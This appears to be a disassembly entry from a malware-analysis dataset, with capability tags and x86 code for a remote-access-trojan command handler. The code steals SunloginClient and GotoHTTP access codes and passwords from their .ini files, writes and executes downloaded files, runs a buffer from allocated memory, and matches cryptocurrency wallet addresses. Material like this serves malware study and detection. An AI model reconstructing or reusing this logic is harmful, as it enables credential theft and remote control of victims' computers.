Function at 0x40eec3
Capabilities:
Create process on windows
Get common file path
Read .ini file
Write and execute a file
Write file on windows

Disassembly:
push 0x5e8
mov eax, 0x51e9a0
call fcn.00502666
mov eax, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
mov dword [ebp - 0x5ec], eax
movzx eax, byte [edi]
mov esi, ecx
mov dword [ebp - 0x5e8], edi
cmp eax, 0x15
jg 0x40f099
je 0x40f063
cmp eax, 0xb
jg 0x40efe5
je 0x40efcd
xor ebx, ebx
sub eax, ebx
je case.0x40f9d4.91
dec eax
je 0x40efb7
sub eax, 3
je 0x40ef6e
sub eax, 4
je 0x40ef58
dec eax
je 0x40ef42
dec eax
jne case.0x40f9d4.82
mov eax, dword [esi + 4]
push ebx
push ebx
push ebx
push dword [eax + 0xa8]
push 0x407930
jmp 0x40f077
mov eax, dword [esi + 4]
push ebx
push ebx
push ebx
push dword [eax + 0xa8]
push 0x407909
jmp 0x40f077
mov eax, dword [esi + 4]
push ebx
push ebx
push ebx
push dword [eax + 0xa8]
push 0x4078f9
jmp 0x40f077
push ebx
push ebx
push ebx
lea eax, [ebp - 0x5e8]
push eax
push 0x407a41
push ebx
push ebx
mov dword [ebp - 0x5e8], edi
call fcn.00411e57
mov ecx, dword [esi + 0x9e58]
add esp, 0x1c
mov dword [esi + ecx*4 + 0x218], eax
inc dword [esi + 0x9e58]
jmp 0x40efaa
push 3
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x5e8], ebx
jne 0x40efa2
jmp case.0x40f9d4.82
mov eax, dword [esi + 4]
push ebx
push ebx
push ebx
push dword [eax + 0xa8]
push 0x40addd
jmp 0x40f077
mov eax, dword [esi + 4]
xor ebx, ebx
push ebx
push ebx
push ebx
push dword [eax + 0xa8]
push 0x407957
jmp 0x40f077
sub eax, 0xc
je 0x40f04e
dec eax
je 0x40f039
dec eax
je 0x40f024
dec eax
je 0x40f00f
dec eax
jne case.0x40f9d4.82
mov eax, dword [esi + 4]
xor ebx, ebx
push ebx
push ebx
push ebx
push dword [eax + 0xa8]
push 0x407a1a
jmp 0x40f077
mov eax, dword [esi + 4]
xor ebx, ebx
push ebx
push ebx
push ebx
push dword [eax + 0xa8]
push 0x4079f3
jmp 0x40f077
mov eax, dword [esi + 4]
xor ebx, ebx
push ebx
push ebx
push ebx
push dword [eax + 0xa8]
push 0x4079cc
jmp 0x40f077
mov eax, dword [esi + 4]
xor ebx, ebx
push ebx
push ebx
push ebx
push dword [eax + 0xa8]
push 0x4079a5
jmp 0x40f077
mov eax, dword [esi + 4]
xor ebx, ebx
push ebx
push ebx
push ebx
push dword [eax + 0xa8]
push 0x40797e
jmp 0x40f077
mov eax, dword [esi + 4]
push 1
xor ebx, ebx
push ebx
push ebx
push dword [eax + 0xa8]
push 0x40aff4
push ebx
push ebx
call fcn.00411e57
add esp, 0x1c
mov ecx, dword [esi + 0x9e58]
mov dword [esi + ecx*4 + 0x218], eax
inc dword [esi + 0x9e58]
jmp case.0x40f9d4.82
cmp eax, 0x4d
jg 0x40f9c8
je 0x40f811
cmp eax, 0x36
jg 0x40f1bf
je 0x40f1a7
sub eax, 0x1f
je 0x40f18e
sub eax, 0xa
je 0x40f175
dec eax
je 0x40f15c
sub eax, 4
je 0x40f10e
sub eax, 6
je 0x40f0f6
dec eax
jne case.0x40f9d4.82
mov eax, dword [esi + 4]
xor ebx, ebx
push ebx
push ebx
push ebx
push dword [eax + 0xa8]
push 0x40aebd
jmp 0x40f077
mov eax, dword [esi + 4]
xor ebx, ebx
push ebx
push ebx
push ebx
push dword [eax + 0xa8]
push 0x40ae6d
jmp 0x40f077
push 1
xor ebx, ebx
push ebx
push ebx
push ebx
push 0x40c21a
push ebx
push ebx
call fcn.00411e57
mov eax, dword [esi + 4]
push ebx
push ebx
push ebx
push dword [eax + 0xa8]
push 0x4072d5
push ebx
push ebx
call fcn.00411e57
mov ecx, dword [esi + 0x9e58]
add esp, 0x38
mov dword [esi + ecx*4 + 0x218], eax
inc dword [esi + 0x9e58]
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp case.0x40f9d4.82
mov eax, dword [esi + 4]
push 1
xor ebx, ebx
push ebx
push ebx
push dword [eax + 0xa8]
push 0x40b0d8
jmp 0x40f077
mov eax, dword [esi + 4]
push 1
xor ebx, ebx
push ebx
push ebx
push dword [eax + 0xa8]
push 0x40b08c
jmp 0x40f077
mov eax, dword [esi + 4]
push 1
xor ebx, ebx
push ebx
push ebx
push dword [eax + 0xa8]
push 0x40b040
jmp 0x40f077
mov eax, dword [esi + 4]
xor ebx, ebx
push ebx
push ebx
push ebx
push dword [eax + 0xa8]
push 0x40af0a
jmp 0x40f077
sub eax, 0x37
je 0x40f7f9
dec eax
je 0x40f7e1
sub eax, 0x12
je 0x40f7cf
dec eax
je 0x40f5f0
dec eax
jne case.0x40f9d4.82
xor ebx, ebx
mov edi, 0x52db34
push str.xrk.exe
lea ecx, [ebp - 0x64]
call fcn.0040b45c
lea eax, [ebp - 0x64]
push eax
mov dword [ebp - 4], 3
call fcn.00409231
pop ecx
cmp al, bl
je 0x40f3c4
lea eax, [ebp - 0x5f0]
push eax
push ebx
push ebx
push 0x556c58
mov dword [ebp - 0x5f0], ebx
call sub.SHELL32.dll_SHGetKnownFolderPath
push dword [ebp - 0x5f0]
lea ecx, [ebp - 0x48]
call fcn.0040b4b0
push str.Oray
lea ecx, [ebp - 0xb8]
mov byte [ebp - 4], 4
call fcn.0040b4b0
push str.SunloginClient
lea ecx, [ebp - 0x9c]
mov byte [ebp - 4], 5
call fcn.0040b4b0
push str.config.ini
lea ecx, [ebp - 0x80]
mov byte [ebp - 4], 6
call fcn.0040b4b0
lea eax, [ebp - 0xb8]
push eax
lea eax, [ebp - 0xf0]
push edi
push eax
mov byte [ebp - 4], 7
call fcn.0040c35b
push edi
push eax
lea eax, [ebp - 0x128]
push eax
mov byte [ebp - 4], 8
call fcn.0040c3c9
lea ecx, [ebp - 0x9c]
push ecx
push eax
lea eax, [ebp - 0x198]
push eax
mov byte [ebp - 4], 9
call fcn.0040c3f4
push edi
push eax
lea eax, [ebp - 0x160]
push eax
mov byte [ebp - 4], 0xa
call fcn.0040c3c9
lea ecx, [ebp - 0x80]
push ecx
push eax
lea eax, [ebp - 0xd4]
push eax
mov byte [ebp - 4], 0xb
call fcn.0040c3f4
add esp, 0x3c
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 0xc
call fcn.0040a6ef
push ebx
push 1
lea ecx, [ebp - 0xd4]
call fcn.00408a20
push ebx
push 1
lea ecx, [ebp - 0x160]
call fcn.00408a20
push ebx
push 1
lea ecx, [ebp - 0x198]
call fcn.00408a20
push ebx
push 1
lea ecx, [ebp - 0x128]
call fcn.00408a20
push ebx
push 1
lea ecx, [ebp - 0xf0]
mov byte [ebp - 4], 7
call fcn.00408a20
cmp dword [ebp - 0x34], 8
mov ecx, dword [ebp - 0x48]
mov eax, ecx
jae 0x40f347
lea eax, [ebp - 0x48]
cmp dword [ebp - 0x34], 8
mov edx, dword [ebp - 0x38]
lea eax, [eax + edx*2]
jae 0x40f356
lea ecx, [ebp - 0x48]
push eax
push ecx
lea ecx, [ebp - 0x2c]
call fcn.0040b1aa
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
mov byte [ebp - 4], 0xd
jae 0x40f370
lea eax, [ebp - 0x2c]
push ebx
push eax
call fcn.005051b4
pop ecx
pop ecx
cmp eax, 0xffffffff
jne 0x40f490
push ebx
push 1
lea ecx, [ebp - 0x2c]
call fcn.00409350
push ebx
push 1
lea ecx, [ebp - 0x80]
call fcn.00408a20
push ebx
push 1
lea ecx, [ebp - 0x9c]
call fcn.00408a20
push ebx
push 1
lea ecx, [ebp - 0xb8]
call fcn.00408a20
push ebx
push 1
lea ecx, [ebp - 0x48]
call fcn.00408a20
jmp 0x40f47c
push 0x65
push dword [ebp - 0x5e8]
lea eax, [ebp - 0x21c]
push eax
call fcn.005027d0
add esp, 0xc
push ebx
push ebx
push 2
push ebx
push 1
push 0x40000000
lea eax, [ebp - 0x21b]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x5f0], eax
push ebx
cmp eax, 0xffffffff
je 0x40f5e8
lea eax, [ebp - 0x5f4]
push eax
mov eax, dword [ebp - 0x5ec]
add eax, 0xffffff9b
push eax
mov eax, dword [ebp - 0x5e8]
add eax, 0x65
push eax
push dword [ebp - 0x5f0]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40f5e7
push dword [ebp - 0x5f0]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push ebx
push ebx
lea eax, [ebp - 0x21b]
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x52dad0
push str.32770
call dword [sym.imp.USER32.dll_FindWindowA]
cmp eax, ebx
je 0x40f455
push ebx
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
or dword [ebp - 4], 0xffffffff
push ebx
push 1
lea ecx, [ebp - 0x64]
call fcn.00409350
jmp 0x40f1ed
call fcn.0041528a
push eax
lea ecx, [ebp - 0x5ec]
call fcn.00408932
mov byte [ebp - 4], 0xe
call fcn.0041528a
push eax
lea ecx, [ebp - 0x5e8]
call fcn.00408932
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
mov byte [ebp - 4], 0xf
jae 0x40f4c6
lea eax, [ebp - 0x2c]
push eax
mov edi, 0x104
push edi
push edi
lea ecx, [ebp - 0x5ec]
call fcn.00409317
push eax
push 0x55a843
push str.fastcode
push str.base
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x40f4fb
lea eax, [ebp - 0x2c]
push eax
push edi
push edi
lea ecx, [ebp - 0x5e8]
call fcn.00409317
push eax
push 0x55a843
push str.password
push str.base
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0xc9
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push dword [ebp - 0x5ec]
mov edi, eax
lea eax, [ebp - 0x2e4]
push eax
mov byte [edi], 0x99
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push dword [ebp - 0x5e8]
lea eax, [ebp - 0x280]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0xc8
lea eax, [ebp - 0x2e4]
push eax
lea eax, [edi + 1]
push eax
call fcn.005027d0
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_LocalSize]
push eax
push edi
mov ecx, esi
call fcn.0040fe17
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [ebp - 0x5e8]
add ecx, 0xfffffff0
call fcn.00406dee
mov ecx, dword [ebp - 0x5ec]
add ecx, 0xfffffff0
call fcn.00406dee
xor esi, esi
push ebx
inc esi
push esi
lea ecx, [ebp - 0x2c]
call fcn.00409350
push ebx
push esi
lea ecx, [ebp - 0x80]
call fcn.00408a20
push ebx
push esi
lea ecx, [ebp - 0x9c]
call fcn.00408a20
push ebx
push esi
lea ecx, [ebp - 0xb8]
call fcn.00408a20
push ebx
push esi
lea ecx, [ebp - 0x48]
call fcn.00408a20
push ebx
push esi
lea ecx, [ebp - 0x64]
jmp 0x40f732
push ebx
lea ecx, [ebp - 0x64]
jmp 0x40f730
xor ebx, ebx
push str.Systen.exe
lea ecx, [ebp - 0x2c]
call fcn.0040b45c
lea eax, [ebp - 0x2c]
push eax
mov dword [ebp - 4], ebx
call fcn.00409231
pop ecx
cmp al, bl
je 0x40f73c
push ebx
push str.C:ProgramDatagotohttp.ini
call fcn.005051b4
pop ecx
pop ecx
cmp eax, 0xffffffff
je 0x40f7bb
call fcn.0041528a
push eax
lea ecx, [ebp - 0x5e8]
call fcn.00408932
mov byte [ebp - 4], 1
call fcn.0041528a
push eax
lea ecx, [ebp - 0x5ec]
call fcn.00408932
push str.C:ProgramDatagotohttp.ini
mov edi, 0x104
push edi
push edi
lea ecx, [ebp - 0x5e8]
mov byte [ebp - 4], 2
call fcn.00409317
push eax
push 0x55a843
push str.name
push str.general
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push str.C:ProgramDatagotohttp.ini
push edi
push edi
lea ecx, [ebp - 0x5ec]
call fcn.00409317
push eax
push 0x55a843
push 0x52da6c
push str.general
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0xc9
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push dword [ebp - 0x5e8]
mov edi, eax
lea eax, [ebp - 0x2e4]
push eax
mov byte [edi], 0x98
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push dword [ebp - 0x5ec]
lea eax, [ebp - 0x280]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0xc8
lea eax, [ebp - 0x2e4]
push eax
lea eax, [edi + 1]
push eax
call fcn.005027d0
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_LocalSize]
push eax
push edi
mov ecx, esi
call fcn.0040fe17
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [ebp - 0x5ec]
add ecx, 0xfffffff0
call fcn.00406dee
mov ecx, dword [ebp - 0x5e8]
add ecx, 0xfffffff0
call fcn.00406dee
push ebx
lea ecx, [ebp - 0x2c]
push 1
call fcn.00409350
jmp case.0x40f9d4.82
push 0x65
lea eax, [ebp - 0x21c]
push edi
push eax
call fcn.005027d0
add esp, 0xc
push ebx
push ebx
push 2
push ebx
push 1
push 0x40000000
lea eax, [ebp - 0x21b]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x5f0], eax
push ebx
cmp eax, 0xffffffff
je 0x40f72d
lea eax, [ebp - 0x5f4]
push eax
mov eax, dword [ebp - 0x5ec]
add eax, 0xffffff9b
push eax
lea eax, [edi + 0x65]
push eax
push dword [ebp - 0x5f0]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40f72c
push dword [ebp - 0x5f0]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 6
push ebx
push ebx
lea eax, [ebp - 0x21b]
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
or dword [ebp - 4], 0xffffffff
push ebx
push 1
lea ecx, [ebp - 0x2c]
call fcn.00409350
jmp 0x40f5f2
push 1
xor ebx, ebx
push ebx
push ebx
inc edi
push edi
push 0x407608
jmp 0x40f077
mov eax, dword [esi + 4]
xor ebx, ebx
push ebx
push ebx
push ebx
push dword [eax + 0xa8]
push 0x40afaa
jmp 0x40f077
mov eax, dword [esi + 4]
xor ebx, ebx
push ebx
push ebx
push ebx
push dword [eax + 0xa8]
push 0x40af61
jmp 0x40f077
push 0x2fd
lea eax, [edi + 1]
push eax
lea eax, [ebp - 0x5e4]
push eax
call fcn.005027d0
add esp, 0xc
lea eax, [ebp - 0x5e4]
push eax
lea ecx, [ebp - 0x1b4]
call fcn.0040b45c
lea eax, [ebp - 0x4e5]
push eax
lea ecx, [ebp - 0x17c]
mov dword [ebp - 4], 0x10
call fcn.0040b45c
lea eax, [ebp - 0x3e6]
push eax
lea ecx, [ebp - 0x144]
mov byte [ebp - 4], 0x11
call fcn.0040b45c
lea eax, [ebp - 0x4e5]
push eax
lea ecx, [ebp - 0x10c]
mov byte [ebp - 4], 0x12
call fcn.0040b45c
lea eax, [ebp - 0x4e5]
push eax
lea ecx, [ebp - 0xb8]
mov byte [ebp - 4], 0x13
call fcn.0040b45c
xor ebx, ebx
inc ebx
push ebx
push str.1_0_9A_Za_z_33_
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x14
call fcn.0040ea53
push ebx
push str.0x_0_9A_Fa_f_40_
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x15
call fcn.0040ea53
push ebx
push str.T_0_9A_Za_z_33_
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 0x16
call fcn.0040ea53
push ebx
push str._0x_0_9a_fA_F_40_
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 0x17
call fcn.0040ea53
push ebx
push str.___13_bc1__a_zA_Z0_9_26_34_
lea ecx, [ebp - 0x90]
mov byte [ebp - 4], 0x18
call fcn.0040ea53
lea ecx, [ebp - 0x90]
mov byte [ebp - 4], 0x19
call fcn.0040810b
lea ecx, [ebp - 0x84]
call fcn.00406ef1
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 0x1a
call fcn.0040810b
lea ecx, [ebp - 0x68]
call fcn.00406ef1
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x58]
call fcn.0040810b
lea ecx, [ebp - 0x4c]
call fcn.00406ef1
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x1c
call fcn.0040810b
lea ecx, [ebp - 0x30]
call fcn.00406ef1
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x1d
call fcn.0040810b
lea ecx, [ebp - 0x14]
call fcn.00406ef1
xor ebx, ebx
push ebx
push 1
lea ecx, [ebp - 0xb8]
call fcn.00409350
push ebx
push 1
lea ecx, [ebp - 0x10c]
call fcn.00409350
push ebx
push 1
lea ecx, [ebp - 0x144]
call fcn.00409350
push ebx
push 1
lea ecx, [ebp - 0x17c]
call fcn.00409350
push ebx
push 1
lea ecx, [ebp - 0x1b4]
call fcn.00409350
push 0x2fd
inc edi
push edi
push 0x57b2e8
call fcn.005027d0
add esp, 0xc
mov ecx, esi
call fcn.0040ee9a
jmp case.0x40f9d4.82
sub eax, 0x4e
cmp eax, 0xf
ja case.0x40f9d4.82
jmp dword [eax*4 + 0x40fad7]
mov eax, dword [esi + 4]
push 1
xor ebx, ebx
push ebx
push ebx
push dword [eax + 0xa8]
push 0x40ae23
jmp 0x40f077
call fcn.00407e0b
jmp case.0x40f9d4.82
mov dword [0x57450c], 3
call fcn.00407fcb
jmp case.0x40f9d4.82
call fcn.00407fa3
jmp case.0x40f9d4.82
mov eax, dword [esi + 4]
push 1
xor ebx, ebx
push ebx
push ebx
push dword [eax + 0xa8]
push 0x40b124
jmp 0x40f077
mov eax, dword [ebp - 0x5ec]
push 4
dec eax
push 0x3000
push eax
xor ebx, ebx
push ebx
mov dword [ebp - 0x5ec], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x5f0], eax
cmp eax, ebx
je case.0x40f9d4.82
push dword [ebp - 0x5ec]
inc edi
push edi
push eax
call fcn.005027d0
push 1
push ebx
push ebx
push dword [ebp - 0x5f0]
push 0x4073e0
push ebx
push ebx
call fcn.00411e57
add esp, 0x28
jmp 0x40f081
call fcn.00408005
jmp case.0x40f9d4.82
movzx eax, byte [edi + 1]
push eax
call fcn.0040888b
jmp case.0x40f9d4.82
inc edi
add esi, 0x114
push edi
push esi
call fcn.00407b78
pop ecx
pop ecx
jmp case.0x40f9d4.82
inc edi
add esi, 0x114
push edi
push esi
call fcn.00407bb3
jmp 0x40faaa
push 1
add esi, 0x214
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
call fcn.005026e9
ret 8